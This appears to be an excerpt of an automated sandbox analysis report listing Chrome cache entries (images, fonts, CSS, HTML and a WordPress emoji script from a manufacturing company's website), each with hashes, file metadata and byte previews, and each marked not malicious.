SHA-256:	4EADA5C91E68379DE29285C4536BC1FDD3E204A44FE1EAF59C8352F8CDEB91F6
SHA-512:	27BA5CB5BFA06D77023A22FEB43EEA0DA85B42CC9380EF3CBE5034DD2913501881B99B1AC5EB644A60BD0F450EC1DCFEB61C7CC3E62DAB9BFA95B6E5AD93273D
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98" xmpMM:DocumentID="xmp.did:2FAF3F2858C511E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:2FAF3F2758C511E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6e70b245-073f-4138-bd2f-40bd88a30a98" stRef:documentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	48439
Entropy (8bit):	7.363136811106029
Encrypted:	false
SSDEEP:	768:Ox+O+tQxFkSsnVMhEys8AH47wlc650fIDOgy/PgtK++aF2uk+Xmr5p:W+NtQgSsnWhqRkz65vDO8PTZXmrH
MD5:	749EA5CB27C4F1BCECB4690175F11676
SHA1:	A4C0C724CF9DFD2F4497AF26A58C8B74AEB56E0C
SHA-256:	1A35D60E8FBCE0F6269226909F9E16E57BC7233D96296753D6ACFB8EDE90F441
SHA-512:	58B09B1D775E4E5041FC8C13D9EE9DDA84260D064276C00EC06A1A490ABE900B477BE4B2E7FA0C6F6E10FE313440A4E07BA977572C317D505C4E2AC3BE659748
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:A78DFEBEB64211E5960E89E0CB43E699" xmpMM:DocumentID="xmp.did:C4BA49CAB64211E5960E89E0CB43E699"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A78DFEBCB64211E5960E89E0CB43E699" stRef:documentID="xmp.did:A78DFEBDB64211E5960E89E0CB43E699"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................................................................................

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	39338
Entropy (8bit):	7.736639700887297
Encrypted:	false
SSDEEP:	768:HBH39Qq7wdhWOBUxWJ/L0vpWyZCv7MfHcSfUjKTqVp39iU9OJSi:rn7wfWOC8wvCg/psjWqVp9iwi
MD5:	AA30AF9006FFD1201F5819AB25BF83B5
SHA1:	49EED23BAAAC56F37FDDAB0789923BE451F167F1
SHA-256:	78E4372394D25231AE61CC86759A01544778CB00D4C68427EF6EB04BD5EC8537
SHA-512:	2C9DC4E1E588597E3D51C12FAF2B89010C54C713D40694F31051D677B28CE6FC7919B15D9D8AEB4404D5A1E604349A759EEE603530E749AF6AD8CB8E3885A4F6
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2018/04/Liftgate.jpg
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F42E6282092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:F42E6281092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1209x403, components 3
Category:	dropped
Size (bytes):	64141
Entropy (8bit):	7.971609551189249
Encrypted:	false
SSDEEP:	1536:U1JZX+iwApm8DJPEo/qkVThNYv0h3Tkd8cBuGoDWN6m:SJZfpm8FPEIlev0h3INB8DWP
MD5:	F2D56F0A12C3C1C38B1C0906F7B74813
SHA1:	C14CE95C32C1E910D9132B8A26D822A4132E8130
SHA-256:	DDB26FC63365E907C567A425DA1735B0A34744BA28CA74809CF42AA0096FFCB2
SHA-512:	8FFB2DC209F73F89795D4A2F5FA286FF0B1E5521FA743F3888958EF7E85F5970839E2A1711711A46406B4015DC1A7845912CA2DFCC86B86976F50EF93C704E29
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:76AE22F6596811E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:64ECC768594311E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4d6a9d53-b437-43a8-b58c-d29938e7dba7" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	66912
Entropy (8bit):	7.81392970439184
Encrypted:	false
SSDEEP:	1536:xHtYSX61EgAW/f4bLcMVu5BL4I1gV6zB+d:xHtYSq1QBbLcbD3gV6zAd
MD5:	1251662C500C700C3C4B0D24BB05A1BA
SHA1:	B51582D9FEF98759576CF0ECD5C7E9FB5B986FAA
SHA-256:	284B962989DBD71AFB2D55B7F04F50A1C5CB9BC7F2FBFF8B9A6F0E411403C3AB
SHA-512:	B1CAD8981C0AFD598553BFE4AFB130B1B1526A9ED5EF1E672474CF373C4CFD05318B40EFC5C233B23A191BD085D13A9F3D89200328213CE70B9C14B1478B0AA4
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/door-inner-headerless.jpg
Preview:	......Exif..II*.................Ducky.......<.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:DA4242E8B64211E5960E89E0CB43E699" xmpMM:DocumentID="xmp.did:DA4242E9B64211E5960E89E0CB43E699"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C4BA49D3B64211E5960E89E0CB43E699" stRef:documentID="xmp.did:C4BA49D4B64211E5960E89E0CB43E699"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................................................................................

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 33092, version 1.0
Category:	downloaded
Size (bytes):	33092
Entropy (8bit):	7.993894754675653
Encrypted:	true
SSDEEP:	768:c+2lFKscxQAuDJ5m/xiYEQNMJjFaf0TteqKt:cZlhcxJuDa/xiMMJhaItzKt
MD5:	057478083C1D55EA0C2182B24F6DD72F
SHA1:	CAF557CD276A76992084EFC4C8857B66791A6B7F
SHA-256:	BB2F90081933C0F2475883CA2C5CFEE94E96D7314A09433FFFC42E37F4CFFD3B
SHA-512:	98FF4416DB333E5A5A8F8F299C393DD1A50F574A2C1C601A0724A8EA7FB652F6EC0BA2267390327185EBEA55F5C5049AB486D88B4C5FC1585A6A975238507A15
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2
Preview:	wOF2.......D......6...............................a......Z?HVAR...`?STAT.8'2..F/~.....\|.M....0....6.$.... ..x..<..[.%Q.i.<.N..t.Yx..5.A...\|..g#l....5.....D.Bt.......l.Y].)..(..H.s..V..ruM....[.....I.0h.v.Hc.R..]....`$.I)G.+.}....E%.H..\|..%nEE.....+.x..7\|........[..V....[.......0...CA.._....)2.$.....s_fw....+.V.H.B.<?.?..mloc..1.Q....a.r#...)......\|.F>..../6-.......t......>......tO.:f@b....u.I(.Bc..b....7.?A.....vE.}...kb]W7.h..$@......T1t.8.._?...~..,..I..."Y...1..s.V........R.Bf2..I....s.........u.P.&..D./"2qf....p.sv..)b5.yR.$MR3.@.E../>{w.....f...cN...2.v.....]>..Ow...9/!v...r..1.4.n.w...T......=...hRH!.....2`...u..82L...S.v.ik^.V.....@..N....d{..{...NN"'.H...H$..H.<..{?..x.....zv.}.~.N)4.g...X.....8\|}...e,%.:..;.Q..88...@..=UVHe....g..zD?..U...~.J...oMoP..6B"Y.{BN...vY<.o..r.7.7j%.Z%.'...]...........YK...,.a-;.M....>\.......%'+8Z.1K.y...9.(;.5 ..M..L.(..9...T)........hx..i2Y...m..{ulY...d......")^.,.n.~..r..S.o.$.....6=.i...N.....q0 ....

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8586), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	35388
Entropy (8bit):	5.420050545618134
Encrypted:	false
SSDEEP:	768:vGiPmX0FZdapFciPTmmo6B1bwoGk+58e8xnIhW:31apC8Tmmo6B1bTL+2e8xnIhW
MD5:	EC8D5FF7E71DF2ED9BFB33883219949F
SHA1:	4EDBDDA8216F673B831321A468F85DEF3F75849C
SHA-256:	9005B59328CF175A8C42B0A6F26412036B9E25B161D712BB731ECDA53E78DC58
SHA-512:	78608104919F710D44E11168903424971D20AC0CC56C848AFB087170F65AE90747C935EE5291988AD34FB2917C3ABB192B5AF75DA3B83F4861C50B80252B6463
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/services/forming-analysis/
Preview:	<!DOCTYPE html>.. [if IE 6]><html id="ie6" lang="en-US"><![endif]-->.. [if IE 7]><html id="ie7" lang="en-US"><![endif]-->.. [if IE 8]><html id="ie8" lang="en-US"><![endif]-->.. [if !(IE 6) \| !(IE 7) \| !(IE 8) ]> >..<html lang="ENH"> <![endif]-->..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />....<link rel="icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="shortcut icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="apple-touch-icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.png"/>..<meta name="msapplication-TileColor" content="#FFFFFF">..<meta name="msapplication-TileImage" content="https://www.twbcompany.com/2016/wp-content/themes/tw

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2550 x 896, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1724038
Entropy (8bit):	7.985733919825843
Encrypted:	false
SSDEEP:	24576:w+ab7I9x1ka27mbFdzeK/5mWnwS9rHKopo1Rc7su4hg9IIIjg7i34Dzw4u:w+aHBCSacS9rHK6wOKIIk+3qzw4u
MD5:	E06396102D509318D7BAEA5280885E27
SHA1:	C3C34467D30941317853B8A578BF65CDB78C11CB
SHA-256:	1E668724AA6614C32BF2D85C8C14D8D03577255229F651DE966A52020316CE97
SHA-512:	C5F72A7D79DBF36A64A5ABBDB8B848D66306BCF851F3A86C9CA334C2CC0C1559507AE2D45D930891F5ECC363CAAC8FA7F15EC4712F3CB4D3B30058C47C07F501
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2021/03/typical-chassis-structure-focusing-on-frame-rails.png
Preview:	.PNG........IHDR.............r.....liCCPICC Profile..H..W.XS...[RIh..........B. ..6B.H(1&..;....E.+...V@..E.......bC.MH@.}.{....?g.....{.....J.Qm..$.......&.. @.... ..r);>>.@...]...P.:+..9._EW ...@.@.%... >..../...@T.&.J.x..z2. .+.8G..+q....IN.@\|..2.....y..E.....bW.@,.@k..\|.O..2.a......b{h/....XY.q...?k...........K.yS....o).W.....&.E&.5..7!Z.i.wI.b....X..;.(U..LQ.&\|9....@...FCl.q.$?6F.....s!....,..&Cl..\|.<,Im.Q6!Q....q.j.9......E^.[..F$..1.bQr..T......kB.".K.V.(.qb.ld.De...'.%.!~.([..../+...m....j..P.....v.....].J.).<B....\...0U..s.$%I..AZ...Z.S...j{.R....[B.)/JR..S...T......dU.xq./^.........L..#.L..@.......f....@...g.f`EZ...^.@1.."!......."..2.U].Av.lQ..<........oE...T..j........C9.....o.6..5...L..Kb.1..I.':..x ...k0..8.....=.)....p..N.=^\".!....k..}-p[......2...1p.=..6..={A-G.........wOCmGq...!.`...+5.5..Y....>.X........?....=.GKl>..;....c.....a.X.vD..w...5.-.?.<.#..?....r.Z.N...B..B...L.N..sD.L6\|;..\..e........F...6......\|......c}}

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 240x240, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=9, manufacturer=Canon, model=Canon EOS 5D, xresolution=142, yresolution=150, resolutionunit=2, software=Adobe Photoshop Lightroom 4.0 (Windows), datetime=2012:07:09 20:40:59], baseline, precision 8, 3921x2614, components 3
Category:	dropped
Size (bytes):	3824757
Entropy (8bit):	7.961993846969107
Encrypted:	false
SSDEEP:	98304:7oABC6KoDq+pmrwVojsU7bPvPJjAH1O1tDRdbgB:MFjEq+IrwVTU3eH1EtDROB
MD5:	FEC947064145B64133467321C7ADBAF3
SHA1:	AA62C2A91EFC009A60F59324861A9BA8A9F21300
SHA-256:	54FB5FD5C0715F1C88324F615206D9216B388788DBA8BFDE45047DB30FD5449C
SHA-512:	13C194F6AA418E1512D701932C3594B12EF8AC7608DEECF8857A65CD6F478E3546C4C8A10377E6B2592DAFA27EBCCD01D5BF7530E651612343DF2008B7BBF33B
Malicious:	false
Reputation:	low
Preview:	......JFIF............".Exif..MM.*.................z.....................................(...........1.....(.....2...........;..........i..............Canon.Canon EOS 5D..................Adobe Photoshop Lightroom 4.0 (Windows).2012:07:09 20:40:59.PraterPhotography..........................&."...........'..................0230.......................B...........V...........^...........f...........n...................................v...........~.........................................................................0...........1...........2...........4.....................<...-....2012:06:27 10:42:18.2012:06:27 10:42:18..Z!...B@...A.......................-.....B.......,o.....PraterPhotography.1120802083.............i....................EF24-105mm f/4L IS USM...........................2...........:.(.....................B...................H.......H.........C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!2222222222222222222222222222222222222222222222

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	18553
Entropy (8bit):	6.998351680699253
Encrypted:	false
SSDEEP:	384:g4vPUSLFOAxD6uPUUf+l8TNlnOxGTidyUJOmIk:pvPU8FnDbUUlZhOx2idyRg
MD5:	6C80C38CB6759194914B13F50992CB8B
SHA1:	46972CC3458E96D80E686FA10E8BFDFE14122DF2
SHA-256:	4EE152780F2C9A64BCF5FADC6B4F238312F4E183A0ABE8F3A55008B6F95D85EC
SHA-512:	364BD3AD5F139D25282B1D5A035DB549BEE48B311F45507BAA2F90D7B7E177B710DFB2E55948169D3FCCBA658459319FBA6CBCE8B3AADF3E9B42D91EEA23C3F5
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2018/02/AlTB-Door-hinge-Reinf-RH.jpg
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F42E6286092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:F42E6285092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 22 x 400, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4132
Entropy (8bit):	7.7916828445654955
Encrypted:	false
SSDEEP:	96:X0llcHitlIxv9vk7C1+I4wWHLihk/xCQe0b3bmjA:XvIIHUCD4waUX0vmjA
MD5:	0BDA211913767F912B8828AAB9153746
SHA1:	850F7D5F5316D4282920C4B309F34213BBB59103
SHA-256:	DFCD864C3C30D9B6884FDD4F6C9B57C90A3B9A2A7042514DEA3CBF937D64DDB8
SHA-512:	48879EF232AA398A9DB08A6679C948417CF1B0BCF720CB63C3B3A572E51A8E709B89018E0938B1E720AD0D21A1DB33D9D4C7A7EDD1489791219FB03FAAC71BBA
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............J...CiCCPICC profile..x.SwX...>..e.VB..l.."#....Y....a...@...V....HU...H...(.gA..Z.U\8....}z...........y.....&..j.9R.<:...OH.....H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly\|B"......I>................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0.._p..H.....K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0.>.3.o..~..@...z..q.@......qanv.R....B1n..#.....)..4.\,...X..P"M.y.R.D!.....2......w....O.N....l.~.....X.v.@~.-......g42y.......@+..........\...L....D...A..............a.D@.$.<.B.......A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ..Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$...N.!%.2I.IkH.H-.S.>..i.L&.m....... ......O......:..L..$R...J5e?

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	37080
Entropy (8bit):	5.375434644051965
Encrypted:	false
SSDEEP:	384:2pAsmGOf0wtb9ZSq99NnMU8OhqqtJXZ0q99HnC1Fuq9PUhq9IW/q935Cq9C:vN1pEIIMi
MD5:	6CB11429839A36D7014EE85776F281C4
SHA1:	4E95A4DEDC3D364601F6B2905769D48B877E0FEA
SHA-256:	9B5DB7944DABCDD8754D5870C2BA5343F82ACB3B98333CFEF7F5EECB6A11202F
SHA-512:	FE9AB2E3C81D30CD919BF31AA70A1F506EF599FB21C464C4482865F1ACB752711750588CD516283B0800F7A3EFE6E13F9C5FE52C186F0C5F30053195F8F92246
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Open+Sans:400,300,400italic,600,700,600italic\|Montserrat:400,700"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Montserrat';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Montserrat';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ vietnamese /.@font-face {. font-family: 'Montserrat';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext */.@font-face {. font-f

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4140692
Entropy (8bit):	7.968684016707627
Encrypted:	false
SSDEEP:	98304:uxGjCZfkRFcVAnbBJeSBR0b0VherPcAo704BNR:uwjMkFcVuBsSEMerPcA+BH
MD5:	2E9AEEC64CD538BC59536737AC02B05C
SHA1:	348C57231C73F20CB87BBEEC7B8437FE34B35AD2
SHA-256:	9698A12E8B41AC6A92C5240E99C2CD7F1857A60EAFCD8532230EAB04625391D0
SHA-512:	6F78394EFD49961123D8C2E7C78F86E71AC16A6F81AD4C733B3C477DF7A2CB869DE6D2799BC99A68B1D50557B5957162307AD0846133AD0883F53BC64D672FE2
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png
Preview:	.PNG........IHDR.......8........C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..iH]........R...........BPQ...EAEQA.b....b..v.=.$$.!...4...".....t..$...]..v.].......y...s...XYIe..y>....c.c.9...7.k.GEi.J..Q.....h....rY..U..(/KGq...Y.p.F!.>.1q.......p82S.]..gc..'.0<=.b.....S....B.L..g{.7....tOu.k..]Sm..t.7.{.5....U....M.o....t/.f..ZG}h.i....OO-.[JQ.X.."Q)j.Q.)BJa.B.6.6.}l....XD.....D.sS.W....\.8..t.6...T..%.."..(..80?\...,.{b./]._......_.....X..)../d...;v..`Ko8f.6c..k.5lDK..p.~....P[.Q.__..O..Ng....QU....,..f..:..u..v.......RT.....%........ 5?..96.d$#5A...t.".v.&K~.6&&H.$I.$..1q..KDxl.4:Ae.#.S..(...Rlr.TU...I.F.'.Ua.._..#..$.S..,.JL..%...V%.F'!<,..Q)..N.0.Ir.4{.r..Q._.....k+.....a....v.abn.3..1.c....0....[.0.k..{.1.gT.S;....8......!.8....Mbb{/...`..........,.....C.X<2.....G.xx.s..U..h..S.....S..W).K...f.:Z.......1..M.X.O...d.\L...H.............k.......v...]si......./....JJ"Q^..jg&.\.(.rRR.'.$? ..:y?X~\E(..%..xa..s...rP..E.....{T

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15752)
Category:	dropped
Size (bytes):	18726
Entropy (8bit):	4.756109283632968
Encrypted:	false
SSDEEP:	384:WTbvzWuPTb9Uh3o//bEPjXgA2k1efAJmpr:WX6U9Uh3o//YrXgAGfACr
MD5:	B976B651932BFD25B9DDB5B7693D88A7
SHA1:	7FCB7CB5C11227F9213B1E08A07D0212209E1432
SHA-256:	4E6CE5444C7F396CEF0EB1FA3611034151E485DD06FBE5573A5583E1EEBC98C3
SHA-512:	A241EBDCFAF153D5C2A86761145B2575CBE734B4F416ACBFAC082AE5C6EB7C706BD6CA3BC286B7E1A0F9E326729252DCB95B776750C4A3A0D81F2AA6258EA39F
Malicious:	false
Reputation:	low
Preview:	/! This file is auto-generated /.// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var h={base:"https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.0.3/assets/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return e(d);return e(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:o},onerror:function(){this.parentNode&&this.parentNode.replaceChild(x(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return h.doNotParse=u.doNotParse,("string"==typeof d?function(d,a){return n(d,function(d){var u,f,c=d,e=N(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,r),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,r,n,o,s,i,l=function d(u,f){v

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 233 x 51, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4541
Entropy (8bit):	7.7902221871784585
Encrypted:	false
SSDEEP:	96:6AknHfkWhf/pJ1d6pvV+9tiZRM20MSaXvwaPplwypQ:Fkn8Whf/pJ1AW00WXv/PfwOQ
MD5:	D66B92A70C008CD86FA7CF74574E2D67
SHA1:	0776C5A42B1960DF3788D7A212007BD1E6B30162
SHA-256:	379FF0297AA36882981BD011D44F7CFC3EDF9BF15DEB8528D1649D92ACFECD15
SHA-512:	8F4181D78278BCE944F0FFDF928EE979133D737D3F059A9D33AD4781AC68135DA79E247FC81CC8E375BB62CC9FCC3A92D22736CC5E98D350050BAC5CB1BF8143
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/worthington-industries-v3.png
